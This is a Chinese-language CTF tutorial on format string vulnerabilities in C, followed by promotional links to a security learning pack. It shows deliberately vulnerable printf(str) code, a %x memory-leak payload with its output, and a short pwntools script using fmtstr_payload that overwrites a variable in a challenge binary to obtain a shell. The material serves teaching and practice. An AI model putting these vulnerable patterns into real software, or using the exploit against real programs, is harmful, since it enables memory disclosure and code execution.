格式化字符串漏洞是PWN
題常見的考察點,僅次于棧溢出漏洞。漏洞原因:程序使用了格式化字符串作為參數,并且格式化字符串為用戶可控。其中觸發格式化字符串漏洞函數主要是printf
、sprintf
、fprintf
、prin
等C庫中print
家族的函數
?
0x01 格式化字符串介紹
printf("格式化字符串",參數...)
該printf
函數的第一個參數是由格式化說明符與字符串組成,用來規定參數用什么格式輸出內容。
格式化說明符:
%d - 十進制 - 輸出十進制整數 %s - 字符串 - 從內存中讀取字符串 %x - 十六進制 - 輸出十六進制數 %c - 字符 - 輸出字符 %p - 指針 - 指針地址 %n - 到目前為止所寫的字符數
例如:
#include <stdio.h> int main(void){printf("My name is %s","Ezreal");return 0; }
調用以后會顯示:
My name is Ezreal
特別要注意的是%n
這個格式化字符串,它的功能是將%n
之前打印出來的字符個數,賦值給一個變量。例如:
#include <stdio.h>int main(void) {int c = 0; printf("the use of %n", &c);sssprintf("%d\n", c);return 0; }
調用以后會顯示:
the use of 11
0x02 漏洞形成原因
1、函數用法:
正常的printf
用法:
#include <stdio.h> int main() {char str[100];scanf("%s",str);printf("%s",str);return 0; }
寫程序時要規定字符串的格式化說明符,規定參數的輸出類型
錯誤的printf
寫法:
#include <stdio.h> int main() {char str[100];scanf("%s",str);printf(str);return 0; }
漏洞形成原因:程序將格式化字符串的輸入權交給用戶,printf函數并不知道參數個數,它的內部有個指針,用來索檢格式化字符串。對于特定類型%,就去取相應參數的值,直到索檢到格式化字符串結束。所以沒有參數,代碼也會將format string 后面的內存當做參數以16進制輸出。這樣就會造成內存泄露。示例程序:
#include <stdio.h>int main(void) {char a[100];scanf("%s",a);printf(a);return 0; }
假設我們的輸入為:
AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
程序的輸出為:
AAAA61fe4c,61ffcc,76e4d250,70734fbf,fffffffe,76e473da,41414141,252c7825,78252c78,2c78252c,252c7825
成功打印出地址
0x03 解題步驟
1 、逆向工程:
將PWN題拖入IDA,點擊程序入口函數。按F5逆向main函數,查看對應的C偽代碼。
找到關鍵代碼:
2 、分析代碼:
方法一:直接分析源碼主函數main
使用了printf
函數并使用了格式化字符串
int __cdecl main(int argc, const char **argv, const char **envp) {char s; // [esp+1Ch] [ebp-8Ch]unsigned int v5; // [esp+9Ch] [ebp-Ch]v5 = __readgsdword(0x14u);memset(&s, 0, 0x80u);fgets(&s, 128, stdin);printf(&s);if ( secret == 192 )give_shell();elseprintf("Sorry, secret = %d\n", secret);return 0; }
方法二:使用漏洞檢測插件推薦一個簡單IDA插件LazyIDA,將它放在IDA路徑下的plugins目錄。這時可以用IDA打開題目,右擊就可以看到一個Scan format string vulnerabilities
查詢格式化字符串漏洞。
查詢到漏洞:
總結:找到格式化字符串漏洞,發現關鍵代碼如下:
if ( secret == 192 )give_shell();else
思路:當secret
值為?192
執行give_shell()
函數,即利格式化字符串漏洞將secret
值改為?192
就能拿到shell
0x04 漏洞利用
用IDA查看secret地址為0x0804A048
:
查找格式化字符串距離:
編寫利用腳本如下:
from pwn import * io = process('./format') payload = fmtstr_payload(11,{0x0804A048:0xC0}) io.sendline(payload) io.interactive()
成功拿到shell:
網絡安全學習資源分享:
給大家分享一份全套的網絡安全學習資料,給那些想學習 網絡安全的小伙伴們一點幫助!
對于從來沒有接觸過網絡安全的同學,我們幫你準備了詳細的學習成長路線圖。可以說是最科學最系統的學習路線,大家跟著這個大的方向學習準沒問題。
因篇幅有限,僅展示部分資料,朋友們如果有需要全套《網絡安全入門+進階學習資源包》,需要點擊下方鏈接即可前往獲取
CSDN大禮包:《網絡安全入門&進階學習資源包》免費分享(安全鏈接,放心點擊)
同時每個成長路線對應的板塊都有配套的視頻提供:?
大廠面試題
視頻配套資料&國內外網安書籍、文檔
當然除了有配套的視頻,同時也為大家整理了各種文檔和書籍資料
所有資料共282G,朋友們如果有需要全套《網絡安全入門+進階學習資源包》,可以掃描下方二維碼或鏈接免費領取~?
?讀者福利 |?
CSDN大禮包:《網絡安全入門&進階學習資源包》免費分享(安全鏈接,放心點擊)
特別聲明:
此教程為純技術分享!本教程的目的決不是為那些懷有不良動機的人提供及技術支持!也不承擔因為技術被濫用所產生的連帶責任!本教程的目的在于最大限度地喚醒大家對網絡安全的重視,并采取相應的安全措施,從而減少由網絡安全而帶來的經濟損失。